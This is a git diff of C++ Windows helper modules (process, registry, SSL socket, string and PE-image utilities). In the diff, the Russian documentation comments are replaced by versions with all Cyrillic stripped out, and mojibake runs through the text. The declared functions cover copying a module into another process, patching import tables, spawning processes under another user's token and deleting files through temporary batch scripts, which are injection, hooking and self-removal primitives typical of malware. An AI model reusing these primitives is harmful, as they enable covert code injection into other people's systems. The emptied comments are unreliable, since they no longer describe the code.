ошибки. + Return - , NULL - . */ IMAGE_SECTION_HEADER *_getSectionByName(const void *image, const LPSTR sectionName); /* - Копирование образа в другой процесс с приминением релоков. Функция облегчена, и не учитывает - прав страниц, так же все исходны страницы должны быть доступны для чтенния, иначе функция - вернет ошибку. + . , + , , + . - IN process - процесс, в который будет производиться копирование. Нужны права + IN process - , . PROCESS_VM_OPERATION | PROCESS_VM_WRITE - IN image - образ для копирования, в текушем процессе. + IN image - , . - Return - адрес образа в процессе process, или NULL в случаи ошибки. + Return - process, NULL . */ void *_copyModuleToProcess(HANDLE process, void *image); /* - Загрузка таблицы импорта. + . - IN image - образ, в котором будут производиться изменения. - IN loadLibraryA - указатель на функцию LoadLibraryA. - IN getProcAddress - указатель на функцию GetProcAddress. + IN image - , . + IN loadLibraryA - LoadLibraryA. + IN getProcAddress - GetProcAddress. - Return - true - в случаи успеха, - false - в случаи ошибки. + Return - true - , + false - . */ bool _loadImport(void *image, void *loadLibraryA, void *getProcAddress); /* - Замена адреса в таблице импорта. + . - IN image - образ, в котором будут производиться изменения. - IN oldFunction - адрес текущей функции. - IN newFunction - адрес новой функции. + IN image - , . + IN oldFunction - . + IN newFunction - . - Return - true - в случаи успеха, - false - в случаи ошибки. + Return - true - , + false - . */ bool _repalceImportFunction(void *image, const void *oldFunction, const void *newFunction); /* - Ковертация RVA в RSA. + RVA RSA. - IN pedata - образ для обработки. + IN pedata - . IN rva - RVA. - IN sectionIndex - индекс секции, которой принадлежат адреса. Или NULL если секция не - требуется. + IN sectionIndex - , . NULL + . - Return - адрес относительно секции dwSectionIndex, или 0 в случаи ошибки. + Return - dwSectionIndex, 0 . */ DWORD _rvaToRsa(PEDATA *pedata, DWORD rva, LPWORD sectionIndex); - /*В В В В Checks if the image is correct. + /*    Checks if the image is correct. -В В В В IN mem - image. -В В В В IN memSize - the size of the image. +    IN mem - image. +    IN memSize - the size of the image. -В В В В Return - true - if successful, -В В В В В В В В В В В В В В В В В false - if an error occurs. -В В */ +    Return - true - if successful, +                 false - if an error occurs. +  */ bool _isPeImage(void *mem, DWORD memSize); }; diff --git a/source/common/process.h b/source/common/process.h index 7bffd0e..6bc99ce 100644 --- a/source/common/process.h +++ b/source/common/process.h @@ -1,5 +1,5 @@ /* - Работа с процессами. + . */ #pragma once @@ -27,204 +27,204 @@ namespace Process }; /* - Инициализация. + . */ void init(void); /* - Деинициализация. + . */ void uninit(void); /* - Получение хэндла модуля в процессе. + . - IN process - процесс. Нужны права PROCESS_QUERY_INFORMATION | PROCESS_VM_READ - IN moduleName - имя модуля для поиска. Можеть быть как базовым именим, так и полным. + IN process - . PROCESS_QUERY_INFORMATION | PROCESS_VM_READ + IN moduleName - . , . - Return - хэндл модуля, или NULL если не найден. + Return - , NULL . */ HMODULE _getModuleHandle(HANDLE process, LPWSTR moduleName); /* - Получение SID для процесса. + SID . - IN process - хэндл процесса с правами PROCESS_QUERY_INFORMATION. - OUT sessionId - ID сессии, или NULL если она не нужна. + IN process - PROCESS_QUERY_INFORMATION. + OUT sessionId - ID , NULL . - Return - данные SID (необходимо освободить через Mem), или NULL в случаи ошибки. + Return - SID ( Mem), NULL . */ TOKEN_USER *_getUserByProcessHandle(HANDLE process, LPDWORD sessionId); /* - Получение SID для процесса. + SID . - IN id - ID процесса. - OUT sessionId - ID сессии, или NULL если она не нужна. + IN id - ID . + OUT sessionId - ID , NULL . - Return - данные SID (необходимо освободить через Mem), или NULL в случаи ошибки. + Return - SID ( Mem), NULL . */ TOKEN_USER *_getUserByProcessId(DWORD id, LPDWORD sessionId); /* - Получение кол. потоков в процессе. + . . - IN id - ID процесса. + IN id - ID . - Return - кол. потоков, или (DWORD)-1 в случаи ошибки. + Return - . , (DWORD)-1 . */ DWORD _getCountOfThreadsByProcessId(DWORD id); /* - Установка привелегии для текущего потока или процесса (как повезет). + ( ). - IN privilegeName - имя привелегии. - IN enable - true - включить, false - выключить. + IN privilegeName - . + IN enable - true - , false - . - Return - true - в случаи успешного изменения привелегии, - false - в случаи ошибки, или если привелегия уже имеет выбарнный статус. + Return - true - , + false - , . */ bool _enablePrivilege(LPWSTR privilegeName, bool enable); /* - Получение уровня процесс. + . - IN procrss - хэндл процесса (нужно право PROCESS_QUERY_INFORMATION), или -1 для - текущего процесса. + IN procrss - ( PROCESS_QUERY_INFORMATION), -1 + . Return - INTEGRITY_*. */ BYTE _getIntegrityLevel(HANDLE process); /* - Проверяет, находиться ли процесс под WOW64. + , WOW64. - IN process - процесс с правом PROCESS_QUERY_INFORMATION или PROCESS_QUERY_LIMITED_INFORMATION. + IN process - PROCESS_QUERY_INFORMATION PROCESS_QUERY_LIMITED_INFORMATION. - Return - true - процесс под WOW64, - false - процесс не под WOW64. + Return - true - WOW64, + false - WOW64. */ #if !defined _WIN64 bool _isWow64(HANDLE process); #endif /* - Создание нового процесса. + . - IN module - имя модуля, может быть NULL. - IN commandLine - командная строка, может быть NULL. Указанный адрес не может быть константой! - IN workDir - рабочая директория нвого процесса, может быть NULL. - IN starupInfo - STARTUPINFO, моежт быть NULL. - OUT pi - PROCESS_INFORMATION, моежт быть NULL. + IN module - , NULL. + IN commandLine - , NULL. ! + IN workDir - , NULL. + IN starupInfo - STARTUPINFO, NULL. + OUT pi - PROCESS_INFORMATION, NULL. - Return - ID процесса - в случаи успеха, - 0 - в случаи ошибки. + Return - ID - , + 0 - . */ DWORD _create(const LPWSTR module, const LPWSTR commandLine, const LPWSTR workDir, const STARTUPINFOW *starupInfo, PROCESS_INFORMATION *pi); /* - Расширение для _create(), котрое создает процесс с командной строкой, где первый агрумент имя - модуля. Т.е. в самой часто используемой формы запуска процессов, рекомендуется использовать - именно эту функцию вместо _create(), это связано с тупостью некотрых кодеров, которые всегда - ждут в первом аргументе имя процесса. + _create(), , + . .. , + _create(), , + . - IN module - имя модуля, не может быть NULL. - IN commandLine - командная строка, может быть NULL. - IN workDir - рабочая директория нвого процесса, может быть NULL. - IN starupInfo - STARTUPINFO, моежт быть NULL. - OUT pi - PROCESS_INFORMATION, моежт быть NULL. + IN module - , NULL. + IN commandLine - , NULL. + IN workDir - , NULL. + IN starupInfo - STARTUPINFO, NULL. + OUT pi - PROCESS_INFORMATION, NULL. - Return - ID процесса - в случаи успеха, - 0 - в случаи ошибки. + Return - ID - , + 0 - . */ DWORD _createEx(const LPWSTR module, const LPWSTR commandLine, const LPWSTR workDir, const STARTUPINFOW *starupInfo, PROCESS_INFORMATION *pi); /* - Создание нового процесса. + . - IN token - примарный токен пользователя, для которого создается процесс. Нужны права: + IN token - , . : TOKEN_QUERY, TOKEN_DUPLICATE, TOKEN_ASSIGN_PRIMARY. - IN desktop - Десктоп в формате "станцния\десктоп". Может быть NULL. Не имеет смысла, если + IN desktop - "\". NULL. , starupInfo != NULL. - IN module - имя модуля, может быть NULL. - IN commandLine - командная строка, может быть NULL. Указанный адрес не может быть константой! - IN workDir - рабочая директория нвого процесса, может быть NULL. - IN starupInfo - STARTUPINFO, моежт быть NULL. - OUT pi - PROCESS_INFORMATION, моежт быть NULL. + IN module - , NULL. + IN commandLine - , NULL. ! + IN workDir - , NULL. + IN starupInfo - STARTUPINFO, NULL. + OUT pi - PROCESS_INFORMATION, NULL. - Return - ID процесса - в случаи успеха, - 0 - в случаи ошибки. + Return - ID - , + 0 - . */ DWORD _createAsUser(HANDLE token, const LPWSTR desktop, const LPWSTR module, const LPWSTR commandLine, const LPWSTR workDir, const STARTUPINFOW *starupInfo, PROCESS_INFORMATION *pi); /* - Расширение для _createAsUser(), котрое создает процесс с командной строкой, где первый агрумент имя - модуля. Т.е. в самой часто используемой формы запуска процессов, рекомендуется использовать - именно эту функцию вместо _createAsUser(), это связано с тупостью некотрых кодеров, которые всегда - ждут в первом аргументе имя процесса. + _createAsUser(), , + . .. , + _createAsUser(), , + . - IN token - примарный токен пользователя, для которого создается процесс. Нужны права: + IN token - , . : TOKEN_QUERY, TOKEN_DUPLICATE, TOKEN_ASSIGN_PRIMARY. - IN desktop - Десктоп в формате "станцния\десктоп". Может быть NULL. Не имеет смысла, если + IN desktop - "\". NULL. , starupInfo != NULL. - IN module - имя модуля, не может быть NULL. - IN commandLine - командная строка, может быть NULL. - IN workDir - рабочая директория нвого процесса, может быть NULL. - IN starupInfo - STARTUPINFO, моежт быть NULL. - OUT pi - PROCESS_INFORMATION, моежт быть NULL. + IN module - , NULL. + IN commandLine - , NULL. + IN workDir - , NULL. + IN starupInfo - STARTUPINFO, NULL. + OUT pi - PROCESS_INFORMATION, NULL. - Return - ID процесса - в случаи успеха, - 0 - в случаи ошибки. + Return - ID - , + 0 - . */ DWORD _createAsUserEx(HANDLE token, const LPWSTR desktop, const LPWSTR module, const LPWSTR commandLine, const LPWSTR workDir, const STARTUPINFOW *starupInfo, PROCESS_INFORMATION *pi); /* - Закрытие хэндлов и обнуление PROCESS_INFORMATION. + PROCESS_INFORMATION. IN OUT pi - PROCESS_INFORMATION. */ void _closeProcessInformation(PROCESS_INFORMATION *pi); /* - Настройка над CreateThread(). + CreateThread(). - IN stackSize - размер стека. - IN startAddress - точка входа. - IN parameter - параметр. + IN stackSize - . + IN startAddress - . + IN parameter - . - Return - ID потока, или 0 в случаи ошибки. + Return - ID , 0 . */ DWORD _createThread(SIZE_T stackSize, LPTHREAD_START_ROUTINE startAddress, LPVOID parameter); /* - Вызов стандартного дилалога запуска (RunFileDlg). + (RunFileDlg). - IN owner - родитель, может быть NULL. - IN workingDir - рабочая директория, может быть NULL. - IN title - заголовок диалога, может быть NULL для значения по умолчанию. - IN promt - текст диалога, может быть NULL для значения по умолчанию. - IN flags - флаги RFD_*. + IN owner - , NULL. + IN workingDir - , NULL. + IN title - , NULL . + IN promt - , NULL . + IN flags - RFD_*. */ void _showShellRunDialog(HWND owner, const LPWSTR workingDir, const LPWSTR title, const LPWSTR promt, DWORD flags); /* - Удаление файла через батник. + . - IN fileForRemoving - полное имя файла для удаления. + IN fileForRemoving - . - Return - true - в случаи успеха, - false - в случаи ошибки. + Return - true - , + false - . */ bool _runBatchForRemoveFile(const LPWSTR fileForRemoving); - /*В В В В Run the bat-file with proizvolnym content and its posleduschego removal. + /*    Run the bat-file with proizvolnym content and its posleduschego removal. -В В В В IN context - the contents of the file encoded in OEM, will add an extra perfiksy and -В В В В В В В В В В В В В В В В В postfix. -В В В В  -В В В В Return - true - if successful, -В В В В В В В В В В В В В В В В В false - if an error occurs. -В В */ +    IN context - the contents of the file encoded in OEM, will add an extra perfiksy and +                 postfix. +     +    Return - true - if successful, +                 false - if an error occurs. +  */ bool _runTempBatch(const LPSTR context); }; diff --git a/source/common/registry.cpp b/source/common/registry.cpp index 252b71f..c78aa3f 100644 --- a/source/common/registry.cpp +++ b/source/common/registry.cpp @@ -39,7 +39,7 @@ DWORD Registry::_getValueAsString(HKEY key, const LPWSTR subKey, const LPWSTR va else goto BAD_END; } - if(size > 2/*мин. разме меременной 3 символа*/ && type == REG_EXPAND_SZ) + if(size > 2/*. 3 */ && type == REG_EXPAND_SZ) { LPWSTR tmpBuf = Str::_CopyExW(buffer, size); if(tmpBuf == NULL || CWA(kernel32, ExpandEnvironmentStringsW)(tmpBuf, buffer, bufferSize) == 0)size = (DWORD)-1; diff --git a/source/common/registry.h b/source/common/registry.h index 5b3d57b..ec43739 100644 --- a/source/common/registry.h +++ b/source/common/registry.h @@ -1,5 +1,5 @@ /* - Работа с реестром Windows. + Windows. */ #pragma once @@ -8,161 +8,161 @@ namespace Registry { /* - Инициализация. + . */ void init(void); /* - Деинициализация. + . */ void uninit(void); /* - Получение значения из реестра как строки. Также самостоятельно обрабатывает REG_EXPAND_SZ. + . REG_EXPAND_SZ. - IN key - ключ. - IN subKey - подключ ключа key, если значение равно NULL, то запрашивается value для - текущего key. - IN value - имя значения для получения. - IN buffer - буффер. - IN bufferSize - размер буфера в символах включая нулевой символ. + IN key - . + IN subKey - key, NULL, value + key. + IN value - . + IN buffer - . + IN bufferSize - . - Return - размер строки, в символах, исключая нулевой символ, - (DWORD)-1 - в случаи ошибки. + Return - , , , + (DWORD)-1 - . */ DWORD _getValueAsString(HKEY key, const LPWSTR subKey, const LPWSTR value, LPWSTR buffer, DWORD bufferSize); /* - Получение значения из реестра как строки. + . - IN key - ключ. - IN subKey - подключ ключа key, если значение равно NULL, то запрашивается value для - текущего key. - IN value - имя значения для установки. - IN buffer - буффер. - IN bufferSize - на входе размер буфера, в символах исключая нулевой символ, + IN key - . + IN subKey - key, NULL, value + key. + IN value - . + IN buffer - . + IN bufferSize - , , - Return - true - в случаи успеха, - false - в случаи ошибки. + Return - true - , + false - . */ bool _setValueAsString(HKEY key, const LPWSTR subKey, const LPWSTR value, const LPWSTR buffer, DWORD bufferSize); /* - Получение значения из реестра как DWORD. + DWORD. - IN key - ключ. - IN subKey - подключ ключа key, если значение равно NULL, то запрашивается value для текущего\ + IN key - . + IN subKey - key, NULL, value \ key. - IN value - имя значения для получения. + IN value - . - Return - значение value, или 0 в случаи ошибки. + Return - value, 0 . */ DWORD _getValueAsDword(HKEY key, const LPWSTR subKey, LPWSTR value); /* - Запись значения в реестр как DWORD. + DWORD. - IN key - ключ. - IN subKey - подключ ключа key, если значение равно NULL, то запрашивается value для текущего + IN key - . + IN subKey - key, NULL, value key. - IN value - имя значения для установки. - IN data - значение. + IN value - . + IN data - . - Return - true - в случаи успеха, - false - в случаи ошибки. + Return - true - , + false - . */ bool _setValueAsDword(HKEY key, const LPWSTR subKey, const LPWSTR value, DWORD data); /* - Получение значения из реестра как данных. + . - IN key - ключ. - IN subKey - подключ ключа hKey, если значение равно NULL, то запрашивается pstrValue для - текущего hKey. - IN value - имя значения для получения. - OUT type - тип значения REG_*, може быть NULL. - OUT buffer - буффер для значения. - IN bufferSize - размер буффера pBuf. + IN key - . + IN subKey - hKey, NULL, pstrValue + hKey. + IN value - . + OUT type - REG_*, NULL. + OUT buffer - . + IN bufferSize - pBuf. - Return - размер данных, или (DWORD)-1 - в случаи ошибки. + Return - , (DWORD)-1 - . */ DWORD _getValueAsBinary(HKEY key, const LPWSTR subKey, const LPWSTR value, LPDWORD type, void *buffer, DWORD bufferSize); /* - Запись значения в реестр как данных. + . - IN key - ключ. - IN subKey - подключ ключа key, если значение равно NULL, то запрашивается value для - текущего key. - IN value - имя значения для установки. - IN type - тип значения REG_*, може быть NULL. - IN buffer - буффер. - IN bufferSize - количетсво байт для записи. - - Return - true - в случаи успеха, - false - в случаи ошибки. + IN key - . + IN subKey - key, NULL, value + key. + IN value - . + IN type - REG_*, NULL. + IN buffer - . + IN bufferSize - . + + Return - true - , + false - . */ bool _setValueAsBinary(HKEY key, const LPWSTR subKey, const LPWSTR value, DWORD type, const void *buffer, DWORD bufferSize); /* - Получение значения из реестра как данных с выделением памяти. + . - IN key - ключ. - IN subKey - подключ ключа key, если значение равно NULL, то запрашивается value для - текущего key. - IN value - имя значения для получения. - OUT type - тип значения REG_*, може быть NULL. - OUT buffer - буффер для значения, должен быть освобожден через Mem. + IN key - . + IN subKey - key, NULL, value + key. + IN value - . + OUT type - REG_*, NULL. + OUT buffer - , Mem. - Return - размер данных, или (DWORD)-1 - в случаи ошибки. + Return - , (DWORD)-1 - . */ DWORD _getValueAsBinaryEx(HKEY key, const LPWSTR subKey, const LPWSTR value, LPDWORD type, void **buffer); /* - Получение значения из реестра в виде CRC32. Требует Crypt. + CRC32. Crypt. - IN key - ключ. - IN subKey - подключ ключа key, если значение равно NULL, то запрашивается value для текущего + IN key - . + IN subKey - key, NULL, value key. - IN value - имя значения для получения. + IN value - . - Return - CRC32, или 0 в случаи ошибки или пустой строки. + Return - CRC32, 0 . */ DWORD _getsCrc32OfValue(HKEY key, const LPWSTR subKey, const LPWSTR value); /* - Удаление ключа со всеми подключами. + . - IN key - ключ. - IN subKey - подключ ключа key для удаления (не может быть NULL). + IN key - . + IN subKey - key ( NULL). - Return - true - в случаи успеха, - false - в случаи ошибки. + Return - true - , + false - . */ bool _deleteKey(HKEY key, const LPWSTR subKey); /* - Удаление значения в реестре. + . - IN key - ключ. - IN subKey - подключ ключа key, если значение равно NULL, то запрашивается value для текущего + IN key - . + IN subKey - key, NULL, value key. - IN value - имя значения для удаления. + IN value - . - Return - true - в случаи успеха, - false - в случаи ошибки. + Return - true - , + false - . */ bool _deleteValue(HKEY key, const LPWSTR subKey, const LPWSTR value); - /*В В В В Checks whether the value suschtctvuet + /*    Checks whether the value suschtctvuet -В В В В IN key - the key. -В В В В IN subKey - Connect dongle key, if the value is NULL, then the requested value for the current -В В В В В В В В В В В В В В В В key. -В В В В IN value - the value name. +    IN key - the key. +    IN subKey - Connect dongle key, if the value is NULL, then the requested value for the current +                key. +    IN value - the value name. -В В В В Return - true - if successful, -В В В В В В В В В В В В В В В В false - if an error occurs. -В В */ +    Return - true - if successful, +                false - if an error occurs. +  */ bool _valueExists(HKEY key, const LPWSTR subKey, const LPWSTR value); }; diff --git a/source/common/sslsocket.cpp b/source/common/sslsocket.cpp index 6648611..ca9f0bf 100644 --- a/source/common/sslsocket.cpp +++ b/source/common/sslsocket.cpp @@ -466,13 +466,13 @@ int SslSocket::_recv(SOCKETDATA *sd, void *buf, int bufSize, DWORD timeout, bool if((sd->extraBuffer = Mem::copyEx((LPBYTE)sd->ioBuffer + dwReaded - pExtra->cbBuffer, pExtra->cbBuffer)) == NULL)break; sd->extraBufferSize = pExtra->cbBuffer; - /*В В В В В В В В В В Sometimes an application will read data from the remote party, attempt to decrypt it by -В В В В В В В В В В using DecryptMessage (Schannel), and discover that DecryptMessage (Schannel) succeeded -В В В В В В В В В В but the output buffers are empty. This is normal behavior, and applications must be able -В В В В В В В В В В to deal with it. + /*          Sometimes an application will read data from the remote party, attempt to decrypt it by +          using DecryptMessage (Schannel), and discover that DecryptMessage (Schannel) succeeded +          but the output buffers are empty. This is normal behavior, and applications must be able +          to deal with it. -В В В В В В В В В В Videm it. -В В В В В В В В */ +          Videm it. +        */ if(pData == NULL)continue; } diff --git a/source/common/sslsocket.h b/source/common/sslsocket.h index 8498ce6..665c8ab 100644 --- a/source/common/sslsocket.h +++ b/source/common/sslsocket.h @@ -1,9 +1,9 @@ /* - SSL-сокет на SSPI. + SSL- SSPI. - Примичания: - 1. За приоритет взят минимальный расход памяти, т.к. в скорости смысла нет. - 2. Для работы могут использоваться только блокируемые сокеты. + : + 1. , .. . + 2. . */ #pragma once @@ -40,12 +40,12 @@ namespace SslSocket }SOCKETDATA; /* - Инициализация. + . */ void init(void); /* - Деинициализация. + . */ void uninit(void); @@ -54,64 +54,64 @@ namespace SslSocket bool _serverHandshake(SERVERDATA *sd, void *recv, DWORD recvSize, void *send, DWORD *sendSize); /* - Производить SSL handshake со стороны клиента. + SSL handshake . - IN socket - сокет. - IN serverName - имя сервера (для работы с сертификатом). - OUT sd - данные SSL-сокета. - IN enabledProtocols - список активных протоколов SP_PROT_*_CLIENT. - IN timeout - количество миллесекунд ожидания получения данных, или 0 для бесконечного - ожидания. + IN socket - . + IN serverName - ( ). + OUT sd - SSL-. + IN enabledProtocols - SP_PROT_*_CLIENT. + IN timeout - , 0 + . - Return - true - в случаи успешного установления соединения, - false - в случаи ошибки. + Return - true - , + false - . */ bool _startClientEncryption(SOCKET socket, LPWSTR serverName, SOCKETDATA *sd, DWORD enabledProtocols, DWORD timeout); /* - Закрывает SSL-сокет (не закрывает соединение). + SSL- ( ). - IN sd - данные SSL-сокета. + IN sd - SSL-. */ void _close(SOCKETDATA *sd); /* - Запись данных в сокет. + . - IN sd - данные SSL-сокета. - IN buf - буфер с данными. - IN bufSize - размер буфера. + IN sd - SSL-. + IN buf - . + IN bufSize - . - Return - true - в случаи успеха, - false - в случаи ошибки. + Return - true - , + false - . */ bool _send(SOCKETDATA *sd, void *buf, int bufSize); /* - Чтение данных из сокета. + . - IN sd - данные SSL-сокета. - OUT buf - буфер для данных. - IN bufSize - размер буфера. - IN timeout - количество миллесекунд ожидания получения данных, или 0 для бесконечного - ожидания. - OUT extraAvalible - сообщает достпны ли излишниеданные, еоторые не вместились в буфер. + IN sd - SSL-. + OUT buf - . + IN bufSize - . + IN timeout - , 0 + . + OUT extraAvalible - , . - Return - количетсво прочитаных байт или SOCKET_ERROR. + Return - SOCKET_ERROR. */ int _recv(SOCKETDATA *sd, void *buf, int bufSize, DWORD timeout, bool *extraAvalible); - /*В В В В Reading data from the socket until the buffer is full. + /*    Reading data from the socket until the buffer is full. -В В В В IN sd - data SSL-socket. -В В В В OUT buf - buffer for data. -В В В В IN bufSize - the size of the buffer. -В В В В IN timeout - the number of millesekund are waiting for data, or 0 for an infinite -В В В В В В В В В В В В В В В В В В В В В В В В expectations. -В В В В OUT extraAvalible - tells whether dostpny izlishniedannye, eotorye not fit into the buffer. +    IN sd - data SSL-socket. +    OUT buf - buffer for data. +    IN bufSize - the size of the buffer. +    IN timeout - the number of millesekund are waiting for data, or 0 for an infinite +                        expectations. +    OUT extraAvalible - tells whether dostpny izlishniedannye, eotorye not fit into the buffer. -В В В В Return - true - if successful, -В В В В В В В В В В В В В В В В В В В В В В В В false - if an error occurs. -В В */ +    Return - true - if successful, +                        false - if an error occurs. +  */ bool _recvAll(SOCKETDATA *sd, void *buf, int bufSize, DWORD timeout, bool *extraAvalible); }; diff --git a/source/common/str.cpp b/source/common/str.cpp index a7611f9..7a10f3e 100644 --- a/source/common/str.cpp +++ b/source/common/str.cpp @@ -69,15 +69,15 @@ static LPWSTR xToUnicodeEx(DWORD codePage, LPSTR source, int size) } /* - Общая функция для форматирования Unicode-строк с выделенем памяти. + Unicode- . - IN OUT buffer - буфер для записи, должен быть либо валидным, либо указывать на NULL. В случаи - ошибки, буффер не будет возрашен к первоночальному состоянию. - IN bufferOffset - текуйщий оффсет в символах в *buffer, с которого нужно начать вносить изменения. - IN format - формат строки. - IN arguments - аргументы для fromat. + IN OUT buffer - , , NULL. + , . + IN bufferOffset - *buffer, . + IN format - . + IN arguments - fromat. - Return - новый полный размер строки, или (DWORD)-1 в случаи ошибки. + Return - , (DWORD)-1 . */ static DWORD vsprintfHelperExW(LPWSTR *buffer, DWORD bufferOffset, const LPWSTR format, va_list arguments) { @@ -98,15 +98,15 @@ static DWORD vsprintfHelperExW(LPWSTR *buffer, DWORD bufferOffset, const LPWSTR } /* - Общая функция для форматирования ANSI-строк с выделенем памяти. + ANSI- . - IN OUT buffer - буфер для записи, должен быть либо валидным, либо указывать на NULL. В случаи - ошибки, буффер не будет возрашен к первоночальному состоянию. - IN bufferOffset - текуйщий оффсет в символах в *buffer, с которого нужно начать вносить изменения. - IN format - формат строки. - IN arguments - аргументы для fromat. + IN OUT buffer - , , NULL. + , . + IN bufferOffset - *buffer, . + IN format - . + IN arguments - fromat. - Return - новый полный размер строки, или (DWORD)-1 в случаи ошибки. + Return - , (DWORD)-1 . */ static DWORD vsprintfHelperExA(LPSTR *buffer, DWORD bufferOffset, const LPSTR format, va_list arguments) { diff --git a/source/common/str.h b/source/common/str.h index 3cfa367..29ef642 100644 --- a/source/common/str.h +++ b/source/common/str.h @@ -1,8 +1,8 @@ #pragma once /* - Инструменты для работы со строками ANSI и Unicode. + ANSI Unicode. - Примечение: Фунции не расчитаны на работу со строками размером более 0x7FFFFFFF симолов. + : 0x7FFFFFFF . */ //Operedelyaet whitespace if it is a symbol. @@ -62,936 +62,936 @@ namespace Str }; /* - Инициализация. + . */ void Init(void); /* - Деинициализация. + . */ void Uninit(void); /* - Проверяет, является ли строка правильной null-terminated строкой. + , null-terminated . - IN pstrString - строка для проверки. - IN dwSize - размер строки в символах. + IN pstrString - . + IN dwSize - . - Return - true - в случаи успеха, - false - в случаи ошибки. + Return - true - , + false - . */ bool _IsValidA(LPSTR pstrString, DWORD dwSize); /* - Проверяет, является ли строка правильной null-terminated строкой. + , null-terminated . - IN pstrString - строка для проверки. - IN dwSize - размер строки в символах. + IN pstrString - . + IN dwSize - . - Return - true - в случаи успеха, - false - в случаи ошибки. + Return - true - , + false - . */ bool _IsValidW(LPWSTR pstrString, DWORD dwSize); /* - Проверяет, является ли строка десятичным числом. + , . - IN pstrString - строка для проверки. - IN iSize - размер строки, или -1. + IN pstrString - . + IN iSize - , -1. - Return - true - строка десятичное число, - false - строка не десятичное число. + Return - true - , + false - . */ bool _IsDecimalStringW(LPCWSTR pstrString, int iSize); /* - Преобразует байт в 16-ти ричное число. + 16- . - IN bt - байт. - OUT buf - строка. + IN bt - . + OUT buf - . */ void _byteToCharA(BYTE bt, LPSTR buf); /* - Преобразует байт в 16-ти ричное число. + 16- . - IN bt - байт. - OUT buf - строка. + IN bt - . + OUT buf - . */ void _byteToCharW(BYTE bt, LPWSTR buf); /* - Копирование Unicode строки. + Unicode . - OUT pstrDest - конечная срока, не может быть NULL. - IN pstrSource - исходная строка, может быть NULL. - IN iSize - количество символов для копирования, или -1 для полного копирование строки. + OUT pstrDest - , NULL. + IN pstrSource - , NULL. + IN iSize - , -1 . */ void _CopyW(LPWSTR pstrDest, LPCWSTR pstrSource, int iSize); /* - Копирование Unicode строки с выделением памяти. + Unicode . - IN pstrSource - исходная строка, может быть NULL. - IN iSize - количество символов для копирования, или -1 для полного копирование строки. + IN pstrSource - , NULL. + IN iSize - , -1 . - Return - указатель на новую копию строки. + Return - . */ LPWSTR _CopyExW(LPWSTR pstrSource, int iSize); /* - Добавление Unicode строки в конец другой строки. + Unicode . - IN buf - буффер. - IN source - исходная строка, может быть NULL. - IN size - количество символов для копирования, или -1 для полного копирование строки. + IN buf - . + IN source - , NULL. + IN size - , -1 . */ void _catW(LPWSTR buf, LPWSTR source, int size); /* - Добавление Unicode строки в конец другой строки, с выделением памяти. + Unicode , . - IN OUT ppstrBuf - буффер. - IN pstrSource - исходная строка, может быть NULL. - IN iSize - количество символов для копирования, или -1 для полного копирование строки. + IN OUT ppstrBuf - . + IN pstrSource - , NULL. + IN iSize - , -1 . */ bool _CatExW(LPWSTR *ppstrBuf, LPWSTR pstrSource, int iSize); /* - Копирование ANSI строки. + ANSI . - OUT pstrDest - конечная срока, не может быть NULL. - IN pstrSource - исходная строка, может быть NULL. - IN iSize - количество символов для копирования, или -1 для полного копирование строки. + OUT pstrDest - , NULL. + IN pstrSource - , NULL. + IN iSize - , -1 . */ void _CopyA(LPSTR pstrDest, LPCSTR pstrSource, int iSize); /* - Копирование ANSI строки с выделением памяти. + ANSI . - IN pstrSource - исходная строка, может быть NULL. - IN iSize - количество символов для копирования, или -1 для полного копирование строки. + IN pstrSource - , NULL. + IN iSize - , -1 . - Return - указатель на новую копию строки. + Return - . */ LPSTR _CopyExA(LPSTR pstrSource, int iSize); /* - Добавление ANSI строки в конец другой строки. + ANSI . - IN buf - буффер. - IN source - исходная строка, может быть NULL. - IN size - количество символов для копирования, или -1 для полного копирование строки. + IN buf - . + IN source - , NULL. + IN size - , -1 . */ void _catA(LPSTR buf, LPSTR source, int size); /* - Добавление ANSI строки в конец другой строки, с выделением памяти. + ANSI , . - IN OUT ppstrBuf - буффер. - IN pstrSource - исходная строка, может быть NULL. - IN iSize - количество символов для копирования, или -1 для полного копирование строки. + IN OUT ppstrBuf - . + IN pstrSource - , NULL. + IN iSize - , -1 . */ bool _CatExA(LPSTR *ppstrBuf, LPSTR pstrSource, int iSize); /* - Удаление символов \r, \n, \t и пробела с начала и конца ANSI строки. + \r, \n, \t ANSI . - IN pstrStr - строка для обработки. + IN pstrStr - . */ void _TrimA(LPSTR pstrStr); /* - Удаление символов \r, \n, \t и пробела с начала и конца Unicode строки. + \r, \n, \t Unicode . - IN pstrStr - строка для обработки. + IN pstrStr - . */ void _TrimW(LPWSTR pstrStr); /* - Преоброзование десятичной/шеснацатиричной ANSI строки в int64. Преоброзование длиться до тех пор пока не - встретиться символ не равный '0' - 'F'. + / ANSI int64. + '0' - 'F'. - IN pstrStr - строка для обработки. - OUT pbSign - если не NULL, возращает: true - число было со знаоком '-', - false - число было без знака '-'. + IN pstrStr - . + OUT pbSign - NULL, : true - '-', + false - '-'. - Return - полученое число. + Return - . */ __int64 _ToInt64A(LPSTR pstrStr, bool *pbSign); /* - Преоброзование десятичной/шеснацатиричной ANSI строки в int32. Преоброзование длиться до тех пор пока не - встретиться символ не равный '0' - 'F'. + / ANSI int32. + '0' - 'F'. - IN pstrStr - строка для обработки. - OUT pbSign - если не NULL, возращает: true - число было со знаоком '-', - false - число было без знака '-'. + IN pstrStr - . + OUT pbSign - NULL, : true - '-', + false - '-'. - Return - полученое число. + Return - . */ int _ToInt32A(LPSTR pstrStr, bool *pbSign); /* - Преоброзование десятичной/шеснацатиричной Unicode строки в int64. Преоброзование длиться до тех пор пока не - встретиться символ не равный '0' - 'F'. + / Unicode int64. + '0' - 'F'. - IN pstrStr - строка для обработки. - OUT pbSign - если не NULL, возращает: true - число было со знаоком '-', - false - число было без знака '-'. + IN pstrStr - . + OUT pbSign - NULL, : true - '-', + false - '-'. - Return - полученое число. + Return - . */ __int64 _ToInt64W(LPWSTR pstrStr, bool *pbSign); /* - Преоброзование десятичной/шеснацатиричной Unicode строки в int32. Преоброзование длиться до тех пор пока не - встретиться символ не равный '0' - 'F'. + / Unicode int32. + '0' - 'F'. - IN pstrStr - строка для обработки. - OUT pbSign - если не NULL, возращает: true - число было со знаоком '-', - false - число было без знака '-'. + IN pstrStr - . + OUT pbSign - NULL, : true - '-', + false - '-'. - Return - полученое число. + Return - . */ int _ToInt32W(LPWSTR pstrStr, bool *pbSign); /* - Преобразование x64 числа в ANSI строку. + x64 ANSI . - IN iNumber - исходное число. - OUT pBuf - буффер. - IN bRadix - система счисления. - IN bSigned - true - если числознаковое, false - если число беззнаковое. + IN iNumber - . + OUT pBuf - . + IN bRadix - . + IN bSigned - true - , false - . - Return - количество скопированных байт в pBuf. + Return - pBuf. 